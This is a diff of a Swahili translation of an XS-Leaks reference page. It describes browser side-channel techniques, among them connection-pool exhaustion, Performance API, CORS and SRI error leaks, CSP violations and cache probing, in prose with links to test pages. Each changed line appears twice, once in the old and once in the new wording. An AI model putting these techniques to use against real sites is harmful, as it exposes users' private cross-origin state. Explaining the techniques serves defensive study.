2. Jaza soketi 255 kwa muda mrefu kwa kuanzisha ombi 255 kwa mwenyeji mbalimbali, iliyoundwa kuweka muunganisho wazi bila kukamilisha.
1. Tambua kikomo cha soketi za kivinjari, kwa mfano, soketi 256 za kimataifa.
2. Jaza soketi 255 kwa muda mrefu kwa kuanzisha ombi 255 kwa mwenyeji mbalimbali, iliyoundwa kuweka uhusiano wazi bila kukamilisha.
3. Tumia soketi ya 256 kutuma ombi kwa ukurasa wa lengo.
4. Jaribu ombi la 257 kwa mwenyeji tofauti. Kwa kuwa soketi zote zinatumika (kama ilivyo katika hatua 2 na 3), ombi hili litakuwa kwenye foleni hadi soketi ipatikane. Ucheleweshaji kabla ya ombi hili kuendelea unampa mshambuliaji taarifa za muda kuhusu shughuli za mtandao zinazohusiana na soketi ya 256 (soketi ya ukurasa wa lengo). Ufafanuzi huu unapatikana kwa sababu soketi 255 kutoka hatua 2 bado zinatumika, ikimaanisha kwamba soketi yoyote mpya inayopatikana lazima iwe ile iliyotolewa kutoka hatua 3. Muda inachukua kwa soketi ya 256 kuwa upatikani unahusishwa moja kwa moja na muda unaohitajika kwa ombi la ukurasa wa lengo kukamilika.
@ -272,15 +272,15 @@ Kwa maelezo zaidi: [https://xsleaks.dev/docs/attacks/timing-attacks/connection-p
- **Inclusion Methods**: JavaScript Requests
- **Detectable Difference**: Timing (generally due to Page Content, Status Code)
- **More info**:
- **Summary:** Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google **Chrome** inaweka kikomo cha **ombile 6 zinazofanya kazi kwa asili moja**. Ikiwa tuta **zuia 5** na kisha **kuanzisha ombi la 6** tunaweza **kupima** na ikiwa tumeweza kufanya **ukurasa wa mwathirika utume** ombi zaidi kwa kiungo kimoja kugundua **hali** ya **ukurasa**, ombi la **6** litachukua **muda mrefu** na tunaweza kuligundua.
- **Summary:** Ni kama mbinu ya awali lakini badala ya kutumia soketi zote, Google **Chrome** inaweka kikomo cha **ombile 6 zinazofanya kazi kwa wakati mmoja kwa asili ile ile**. Ikiwa tutazuia **5** na kisha **kuanzisha ombi la 6** tunaweza **kupima** na ikiwa tumeweza kufanya **ukurasa wa mwathirika utume** ombi zaidi **kwa mwisho huo** ili kugundua **hali** ya **ukurasa**, **ombile la 6** litachukua **muda mrefu** na tunaweza kuligundua.
## Performance API Techniques
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, zaidi ya hayo inaboreshwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data zaidi kama vile ukubwa wa uhamishaji na muda wa kutafuta kikoa inapatikana.
[`Performance API`](https://developer.mozilla.org/en-US/docs/Web/API/Performance) inatoa maarifa kuhusu vipimo vya utendaji wa programu za wavuti, zaidi ya hayo inaboreshwa na [`Resource Timing API`](https://developer.mozilla.org/en-US/docs/Web/API/Resource_Timing_API). Resource Timing API inaruhusu kufuatilia muda wa maombi ya mtandao kwa undani, kama vile muda wa maombi. Kwa kuzingatia, wakati seva zinajumuisha kichwa cha `Timing-Allow-Origin: *` katika majibu yao, data za ziada kama vile ukubwa wa uhamisho na muda wa kutafuta kikoa zinapatikana.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za wakati zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inafaa kutambua kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Hii data nyingi inaweza kupatikana kupitia mbinu kama [`performance.getEntries`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntries) au [`performance.getEntriesByName`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/getEntriesByName), ikitoa mtazamo wa kina wa taarifa zinazohusiana na utendaji. Zaidi ya hayo, API inarahisisha kupima muda wa utekelezaji kwa kuhesabu tofauti kati ya alama za muda zinazopatikana kutoka [`performance.now()`](https://developer.mozilla.org/en-US/docs/Web/API/Performance/now). Hata hivyo, inapaswa kutambuliwa kwamba kwa shughuli fulani katika vivinjari kama Chrome, usahihi wa `performance.now()` unaweza kuwa na mipaka hadi milisekunde, ambayo inaweza kuathiri undani wa vipimo vya muda.
Mbali na vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kutokana na `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uundaji wa ukurasa.
Zaidi ya vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohusiana na usalama. Kwa mfano, uwepo au ukosefu wa kurasa katika kitu cha `performance` katika Chrome unaweza kuashiria matumizi ya `X-Frame-Options`. Kwa haswa, ikiwa ukurasa umezuia kuonyeshwa katika fremu kutokana na `X-Frame-Options`, hautarekodiwa katika kitu cha `performance`, ikitoa kidokezo kidogo kuhusu sera za uwasilishaji wa ukurasa.
### Error Leak
@ -290,7 +290,7 @@ Mbali na vipimo vya muda, Performance API inaweza kutumika kwa maarifa yanayohus
- **Summary:** Ombi linalosababisha makosa halitaunda kipengee cha muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Error%20Leak](https://xsinator.com/testing.html#Performance%20API%20Error%20Leak)
Inawezekana **kutofautisha kati ya msimbo wa hali wa majibu ya HTTP** kwa sababu maombi yanayosababisha **kosa** hayaundai kipengee cha utendaji.
Inawezekana **kutofautisha kati ya msimbo wa hali wa jibu la HTTP** kwa sababu maombi yanayosababisha **kosa** hayaundai kipengee cha utendaji.
### Style Reload Error
@ -300,7 +300,7 @@ Inawezekana **kutofautisha kati ya msimbo wa hali wa majibu ya HTTP** kwa sababu
- **Summary:** Kutokana na hitilafu ya kivinjari, maombi yanayosababisha makosa yanapakiwa mara mbili.
- **Code Example**: [https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak](https://xsinator.com/testing.html#Style%20Reload%20Error%20Leak)
Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea **rasilimali kupakiwa mara mbili wakati hazijafanikiwa kupakia**. Hii itasababisha kuingia nyingi katika Performance API na hivyo inaweza kugundulika.
Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari katika GC zinapelekea **rasilimali kupakiwa mara mbili wanaposhindwa kupakia**. Hii itasababisha kuingia kwa mara nyingi katika Performance API na hivyo inaweza kugundulika.
### Request Merging Error
@ -310,7 +310,7 @@ Katika mbinu ya awali pia iligundulika kesi mbili ambapo hitilafu za kivinjari k
- **Summary:** Maombi yanayosababisha kosa hayawezi kuunganishwa.
- **Code Example**: [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Mbinu hii iligundulika katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo yalipatikana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua kwa [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
Mbinu hii ilipatikana katika jedwali katika karatasi iliyoelezwa lakini hakuna maelezo ya mbinu hiyo yalipatikana. Hata hivyo, unaweza kupata msimbo wa chanzo ukikagua katika [https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak](https://xsinator.com/testing.html#Request%20Merging%20Error%20Leak)
### Empty Page Leak
@ -320,17 +320,17 @@ Mbinu hii iligundulika katika jedwali katika karatasi iliyoelezwa lakini hakuna
- **Summary:** Majibu tupu hayaundai kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak](https://xsinator.com/testing.html#Performance%20API%20Empty%20Page%20Leak)
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu la HTTP kuwa tupu kwa sababu **kurasa tupu hazaundai kuingia kwa utendaji katika vivinjari vingine**.
Mshambuliaji anaweza kugundua ikiwa ombi limesababisha mwili wa jibu la HTTP tupu kwa sababu **kurasa tupu hazaundai kipengee cha utendaji katika vivinjari vingine**.
### **XSS-Auditor Leak**
- **Inclusion Methods**: Frames
- **Detectable Difference**: Page Content
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa filtering wa auditor.
- **Summary:** Kutumia XSS Auditor katika Madai ya Usalama, washambuliaji wanaweza kugundua vipengele maalum vya ukurasa wa wavuti kwa kuangalia mabadiliko katika majibu wakati payloads zilizoundwa zinachochea mfumo wa kuchuja wa auditor.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak](https://xsinator.com/testing.html#Performance%20API%20XSS%20Auditor%20Leak)
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia isiyo ya moja kwa moja kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, iliyoripotiwa awali na Terada na kuendelezwa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambulizi ya Cross-Site Scripting (XSS), inaweza kwa njia ya ajabu kutumika kuvuja taarifa nyeti. Ingawa kipengele hiki kilijengwa kimeondolewa kutoka Google Chrome (GC), bado kinapatikana katika SA. Mnamo mwaka wa 2013, Braun na Heiderich walionyesha kwamba XSS Auditor inaweza kwa bahati mbaya kuzuia skripti halali, na kusababisha matokeo ya uwongo. Kwa kujenga juu ya hili, watafiti walitengeneza mbinu za kutoa taarifa na kugundua maudhui maalum kwenye kurasa za cross-origin, dhana inayojulikana kama XS-Leaks, ambayo iliripotiwa kwanza na Terada na kuelezewa na Heyes katika chapisho la blogu. Ingawa mbinu hizi zilikuwa maalum kwa XSS Auditor katika GC, iligundulika kwamba katika SA, kurasa zilizozuiwa na XSS Auditor hazizalishi kuingia katika Performance API, ikifichua njia ambayo taarifa nyeti inaweza bado kuvuja.
### X-Frame Leak
@ -340,8 +340,8 @@ Katika Madai ya Usalama (SA), XSS Auditor, iliyokusudiwa awali kuzuia mashambuli
- **Summary:** Rasilimali yenye kichwa cha X-Frame-Options haizalishi kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
Ikiwa ukurasa **haukubaliki** kuonyeshwa katika **iframe** hauzali kuingia kwa utendaji. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Vivyo hivyo inatokea ikiwa unatumia **embed** **tag.**
Ikiwa ukurasa **haukubaliki** kuonyeshwa katika **iframe** hauzaliwi **kuingia kwa utendaji**. Kama matokeo, mshambuliaji anaweza kugundua kichwa cha jibu **`X-Frame-Options`**.\
Vivyo hivyo inatokea ikiwa unatumia **tag ya embed.**
### Download Detection
@ -351,7 +351,7 @@ Vivyo hivyo inatokea ikiwa unatumia **embed** **tag.**
- **Summary:** Upakuaji hauzali kuingia kwa muda wa rasilimali katika Performance API.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
Kama ilivyo katika XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kuingia kwa utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
Kama ilivyo kwa XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu ya kichwa cha ContentDisposition, pia **haizalishi kuingia kwa utendaji**. Mbinu hii inafanya kazi katika vivinjari vyote vikuu.
### Redirect Start Leak
@ -361,7 +361,7 @@ Kama ilivyo katika XS-Leak iliyoelezwa, **rasilimali inayopakuliwa** kwa sababu
- **Summary:** Kuingia kwa muda wa rasilimali kunavuja wakati wa kuanza kwa uelekezaji.
- **Code Example**: [https://xsinator.com/testing.html#Redirect%20Start%20Leak](https://xsinator.com/testing.html#Redirect%20Start%20Leak)
Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinarekodi taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji anae **elekezwa** na ukurasa wa lengo, kwa kuuliza **Performance API** na kuangalia **data ya wakati wa redirectStart**.
Tumepata mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo vinaandika taarifa nyingi sana kwa maombi ya cross-origin. Kiwango kinatambua subset ya sifa ambazo zinapaswa kuwekwa sifuri kwa rasilimali za cross-origin. Hata hivyo, katika **SA** inawezekana kugundua ikiwa mtumiaji anae **elekezwa** na ukurasa wa lengo, kwa kuhoji **Performance API** na kuangalia data za **redirectStart timing**.
### Duration Redirect Leak
@ -371,29 +371,29 @@ Tumegundua mfano mmoja wa XS-Leak unaotumia tabia ya vivinjari vingine ambavyo v
- **Summary:** Muda wa kuingia kwa muda ni hasi wakati uelekezaji unapotokea.
- **Code Example**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
Katika GC, **muda** wa maombi yanayosababisha **uelekezaji** ni **hasi** na hivyo inaweza **kutofautishwa** na maombi ambayo hayasababisha uelekezaji.
Katika GC, **muda** wa maombi yanayosababisha **uelekezaji** ni **hasi** na hivyo inaweza **kutofautishwa** na maombi yasiyo ya uelekezaji.
### CORP Leak
- **Inclusion Methods**: Frames
- **Detectable Difference**: Header
- **More info**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **Summary:** Rasilimali iliyo na CORP haizalishi kuingia kwa muda wa rasilimali.
- **Summary:** Rasilimali iliyo na ulinzi wa CORP haizalishi kuingia kwa muda wa rasilimali.
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
Katika baadhi ya matukio, **kuingia kwa nextHopProtocol** kunaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati **kichwa cha CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kuingia kwa utendaji kwa rasilimali zilizo na CORP.
Katika baadhi ya matukio, **kuingia kwa nextHopProtocol** kunaweza kutumika kama mbinu ya kuvuja. Katika GC, wakati kichwa cha **CORP** kimewekwa, nextHopProtocol itakuwa **tupu**. Kumbuka kwamba SA haitaunda kuingia kwa utendaji kabisa kwa rasilimali zilizo na CORP.
### Service Worker
- **Inclusion Methods**: Frames
- **Detectable Difference**: API Usage
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
- **Summary:** Gundua ikiwa huduma ya kazi imeandikishwa kwa asili maalum.
- **Summary:** Gundua ikiwa mfanyakazi wa huduma ameandikishwa kwa asili maalum.
- **Code Example**:
Huduma za kazi ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Zinakimbia katika nyuma ya ukurasa wa wavuti na zinaweza kukamata, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Ikiwa **rasilimali iliyofichwa** na **huduma ya kazi** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakuliwa kutoka kwenye cache ya huduma ya kazi**.\
Ili kugundua ikiwa rasilimali hiyo ilipakuliwa kutoka kwenye cache ya huduma ya kazi, **Performance API** inaweza kutumika.\
Wafanyakazi wa huduma ni muktadha wa skripti unaotegemea matukio ambayo yanafanya kazi katika asili. Wanakimbia katika mandharinyuma ya ukurasa wa wavuti na wanaweza kuingilia, kubadilisha, na **kuficha rasilimali** ili kuunda programu za wavuti zisizo na mtandao.\
Ikiwa **rasilimali iliyofichwa** na **mfanyakazi wa huduma** inafikiwa kupitia **iframe**, rasilimali hiyo itakuwa **imepakuliwa kutoka kwenye cache ya mfanyakazi wa huduma**.\
Ili kugundua ikiwa rasilimali hiyo ilipakuliwa kutoka kwenye cache ya mfanyakazi wa huduma, **Performance API** inaweza kutumika.\
Hii inaweza pia kufanywa kwa shambulizi la Timing (angalia karatasi kwa maelezo zaidi).
### Cache
@ -480,7 +480,7 @@ The `MediaError` interface's message property uniquely identifies resources that
- **Summary:** Katika Security Assertions (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
- **Code Example**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
Hii mbinu inamuwezesha mshambuliaji **kuchukua eneo la kuhamasisha la tovuti ya cross-origin** kwa kutumia jinsi vivinjari vya Webkit vinavyoshughulikia maombi ya CORS. Kwa hakika, wakati **ombio la CORS** linatumwa kwa tovuti lengwa inayotoa uhamasishaji kulingana na hali ya mtumiaji na kivinjari kinakataa ombi hilo, **URL kamili ya lengo la uhamasishaji** inafichuliwa ndani ya ujumbe wa kosa. Uthibitisho huu hauonyeshi tu ukweli wa uhamasishaji bali pia unafichua mwisho wa uhamasishaji na **parameta za uchunguzi za siri** ambazo zinaweza kuwa nazo.
Hii mbinu inamuwezesha mshambuliaji **kuchukua eneo la kuhamasisha la tovuti ya cross-origin** kwa kutumia jinsi vivinjari vya Webkit vinavyoshughulikia maombi ya CORS. Kwa hakika, wakati **ombwe la CORS** linatumwa kwa tovuti lengwa inayotoa uhamasishaji kulingana na hali ya mtumiaji na kivinjari kinakataa ombi hilo, **URL kamili ya lengo la uhamasishaji** inafichuliwa ndani ya ujumbe wa kosa. Uthibitisho huu sio tu unafichua ukweli wa uhamasishaji bali pia unafichua mwisho wa uhamasishaji na **parameta za uchunguzi za nyeti** zinazoweza kuwepo.
### SRI Error
@ -490,7 +490,7 @@ Hii mbinu inamuwezesha mshambuliaji **kuchukua eneo la kuhamasisha la tovuti ya
- **Summary:** Katika Security Assertions (SA), ujumbe wa kosa la CORS bila kukusudia unafichua URL kamili ya maombi yaliyorejelewa.
- **Code Example**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
Mshambuliaji anaweza kutumia **ujumbe wa kosa wa kina** ili kubaini ukubwa wa majibu ya cross-origin. Hii inawezekana kutokana na mfumo wa Subresource Integrity (SRI), ambao unatumia sifa ya uaminifu kuthibitisha kwamba rasilimali zilizopatikana, mara nyingi kutoka kwa CDNs, hazijaharibiwa. Ili SRI ifanye kazi kwenye rasilimali za cross-origin, hizi lazima ziwe **CORS-enabled**; vinginevyo, haziko chini ya ukaguzi wa uaminifu. Katika Security Assertions (SA), kama vile kosa la CORS XS-Leak, ujumbe wa kosa unaweza kukamatwa baada ya ombi la fetch lililoshindwa na sifa ya uaminifu. Wavamizi wanaweza kwa makusudi **kuanzisha kosa hili** kwa kupewa **thamani ya hash isiyo sahihi** kwa sifa ya uaminifu ya ombi lolote. Katika SA, ujumbe wa kosa unaotokana bila kukusudia unafichua urefu wa maudhui ya rasilimali iliyohitajika. Uvujaji huu wa taarifa unamuwezesha mshambuliaji kubaini tofauti katika ukubwa wa majibu, na kuweka njia kwa mashambulizi ya kisasa ya XS-Leak.
Mshambuliaji anaweza kutumia **ujumbe wa kosa wa kina** ili kubaini ukubwa wa majibu ya cross-origin. Hii inawezekana kutokana na mfumo wa Subresource Integrity (SRI), ambao unatumia sifa ya uaminifu kuthibitisha kwamba rasilimali zilizopatikana, mara nyingi kutoka kwa CDNs, hazijaharibiwa. Ili SRI ifanye kazi kwenye rasilimali za cross-origin, hizi lazima ziwe **CORS-enabled**; vinginevyo, hazitakuwa chini ya ukaguzi wa uaminifu. Katika Security Assertions (SA), kama vile kosa la CORS XS-Leak, ujumbe wa kosa unaweza kukamatwa baada ya ombi la fetch lililokuwa na sifa ya uaminifu kushindwa. Wavamizi wanaweza kwa makusudi **kusababisha kosa hili** kwa kupewa **thamani ya hash isiyo sahihi** kwa sifa ya uaminifu ya ombi lolote. Katika SA, ujumbe wa kosa unaotokana bila kukusudia unafichua urefu wa maudhui ya rasilimali iliyotakiwa. Uvujaji huu wa taarifa unamuwezesha mshambuliaji kubaini tofauti katika ukubwa wa majibu, ukifungua njia kwa mashambulizi ya kisasa ya XS-Leak.
### CSP Violation/Detection
@ -500,8 +500,8 @@ Mshambuliaji anaweza kutumia **ujumbe wa kosa wa kina** ili kubaini ukubwa wa ma
- **Summary:** Kuruhusu tovuti ya wahanga pekee katika CSP ikiwa tumeipata inajaribu kuhamasisha kwenye kikoa tofauti CSP itasababisha kosa linaloweza kugundulika.
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak inaweza kutumia CSP kugundua ikiwa tovuti ya cross-origin ilihamishwa kwa asili tofauti. Uvujaji huu unaweza kugundua uhamasishaji, lakini pia, kikoa cha lengo la uhamasishaji kinavuja. Wazo la msingi la shambulio hili ni **kuruhusu kikoa lengwa kwenye tovuti ya mshambuliaji**. Mara ombi linapotolewa kwa kikoa lengwa, linahamasisha kwa kikoa cha cross-origin. **CSP inazuia** ufikiaji wake na kuunda **ripoti ya ukiukaji inayotumika kama mbinu ya uvujaji**. Kulingana na kivinjari, **ripoti hii inaweza kuvuja eneo la lengo la uhamasishaji**.\
Vivinjari vya kisasa havitafichua URL ambayo ilihamishwa, lakini bado unaweza kugundua kwamba uhamasishaji wa cross-origin ulianzishwa.
XS-Leak inaweza kutumia CSP kugundua ikiwa tovuti ya cross-origin ilihamishwa kwa kikoa tofauti. Uvujaji huu unaweza kugundua uhamasishaji, lakini pia, kikoa cha lengo la uhamasishaji kinavuja. Wazo la msingi la shambulio hili ni **kuruhusu kikoa lengwa kwenye tovuti ya mshambuliaji**. Mara tu ombi linapotolewa kwa kikoa lengwa, linahamasisha kwenye kikoa cha cross-origin. **CSP inazuia** ufikiaji wake na kuunda **ripoti ya ukiukaji inayotumika kama mbinu ya uvujaji**. Kulingana na kivinjari, **ripoti hii inaweza kuvuja eneo la lengo la uhamasishaji**.\
Vivinjari vya kisasa havitafichui URL ambayo ilihamishwa, lakini bado unaweza kugundua kwamba uhamasishaji wa cross-origin ulisababisha.
### Cache
@ -513,7 +513,7 @@ Vivinjari vya kisasa havitafichua URL ambayo ilihamishwa, lakini bado unaweza ku
Vivinjari vinaweza kutumia cache moja iliyoshirikiwa kwa tovuti zote. Bila kujali asili yao, inawezekana kubaini ikiwa ukurasa wa lengo ume **omba faili maalum**.
Ikiwa ukurasa unaload picha tu ikiwa mtumiaji ameingia, unaweza **kubatilisha** **rasilimali** (hivyo si tena cached ikiwa ilikuwa, angalia viungo vya maelezo zaidi), **fanya ombi** ambalo linaweza kupakia rasilimali hiyo na kujaribu kupakia rasilimali hiyo **kwa ombi mbaya** (kwa mfano, kutumia kichwa cha referer kilichozidi). Ikiwa rasilimali ilipakia **haikuletea kosa lolote**, ni kwa sababu ilikuwa **cached**.
Ikiwa ukurasa unaload picha tu ikiwa mtumiaji amejiandikisha, unaweza **kubatilisha** **rasilimali** (hivyo haipo tena kwenye cache ikiwa ilikuwa, angalia viungo vya maelezo zaidi), **fanya ombi** ambalo linaweza kupakia rasilimali hiyo na kujaribu kupakia rasilimali hiyo **kwa ombi mbaya** (kwa mfano, kutumia kichwa cha referer chenye urefu wa kupita kiasi). Ikiwa rasilimali hiyo ilipakia **haikuletea kosa lolote**, ni kwa sababu ilikuwa **cached**.
### CSP Directive
@ -523,24 +523,24 @@ Ikiwa ukurasa unaload picha tu ikiwa mtumiaji ameingia, unaweza **kubatilisha**
- **Summary:** Miongozo ya kichwa cha CSP inaweza kuchunguzwa kwa kutumia sifa ya iframe ya CSP, ikifichua maelezo ya sera.
- **Code Example**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Kipengele kipya katika Google Chrome (GC) kinaruhusu kurasa za wavuti **kupendekeza Sera ya Usalama wa Maudhui (CSP)** kwa kuweka sifa kwenye kipengele cha iframe, huku miongozo ya sera ikitolewa pamoja na ombi la HTTP. Kawaida, maudhui yaliyoingizwa lazima **yathibitishwe kupitia kichwa cha HTTP**, au **ukurasa wa kosa unaonyeshwa**. Hata hivyo, ikiwa iframe tayari inasimamiwa na CSP na sera iliyopendekezwa mpya si kali zaidi, ukurasa utafunguka kawaida. Mfumo huu unafungua njia kwa mshambuliaji **gundua miongozo maalum ya CSP** ya ukurasa wa cross-origin kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umerekebishwa, matokeo yetu yanaonyesha **mbinu mpya ya uvujaji** inayoweza kugundua ukurasa wa kosa, ikionyesha kwamba tatizo la msingi halikushughulikiwa kikamilifu.
Kipengele kipya katika Google Chrome (GC) kinawaruhusu kurasa za wavuti **kupendekeza Sera ya Usalama wa Maudhui (CSP)** kwa kuweka sifa kwenye kipengele cha iframe, huku miongozo ya sera ikitolewa pamoja na ombi la HTTP. Kawaida, maudhui yaliyoingizwa lazima **yathibitishwe kupitia kichwa cha HTTP**, au **ukurasa wa kosa unaonyeshwa**. Hata hivyo, ikiwa iframe tayari inasimamiwa na CSP na sera iliyopendekezwa mpya si kali zaidi, ukurasa utafunguka kawaida. Mfumo huu unafungua njia kwa mshambuliaji **gundua miongozo maalum ya CSP** ya ukurasa wa cross-origin kwa kutambua ukurasa wa kosa. Ingawa udhaifu huu ulitambuliwa kama umerekebishwa, matokeo yetu yanaonyesha **mbinu mpya ya uvujaji** inayoweza kugundua ukurasa wa kosa, ikionyesha kwamba tatizo la msingi halikushughulikiwa kikamilifu.
### **CORP**
- **Inclusion Methods**: Fetch API
- **Detectable Difference**: Header
- **More info**: [**https://xsleaks.dev/docs/attacks/browser-features/corp/**](https://xsleaks.dev/docs/attacks/browser-features/corp/)
- **Summary:** Rasilimali zilizohifadhiwa na Sera ya Rasilimali za Cross-Origin (CORP) zitatupa kosa wakati zinapojaribiwa kutoka kwa asili isiyoruhusiwa.
- **Summary:** Rasilimali zilizohifadhiwa kwa Sera ya Rasilimali za Cross-Origin (CORP) zitatupa kosa wakati zinapojaribiwa kutoka kwa asili isiyoruhusiwa.
- **Code Example**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
Kichwa cha CORP ni kipengele kipya cha usalama wa jukwaa la wavuti ambacho kinapowekwa **kinazuia maombi ya cross-origin yasiyo na cors kwa rasilimali iliyotolewa**. Uwepo wa kichwa hiki unaweza kugundulika, kwa sababu rasilimali iliyo na CORP itatoa **kosa wakati inajaribiwa**.
Kichwa cha CORP ni kipengele kipya cha usalama wa jukwaa la wavuti ambacho kinapowekwa **kinazuia maombi ya cross-origin yasiyo na cors kwa rasilimali iliyotolewa**. Uwepo wa kichwa hiki unaweza kugundulika, kwa sababu rasilimali iliyo na ulinzi wa CORP itatoa **kosa wakati inajaribiwa**.
### CORB
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: Headers
- **More info**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **Summary**: CORB inaweza kuruhusu wavamizi kugundua wakati **kichwa cha `nosniff` kiko** katika ombi.
- **Summary**: CORB inaweza kuruhusu wavamizi kugundua wakati **kichwa cha `nosniff` kinapatikana** katika ombi.
- **Code Example**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
Angalia kiungo kwa maelezo zaidi kuhusu shambulio.
@ -550,10 +550,10 @@ Angalia kiungo kwa maelezo zaidi kuhusu shambulio.
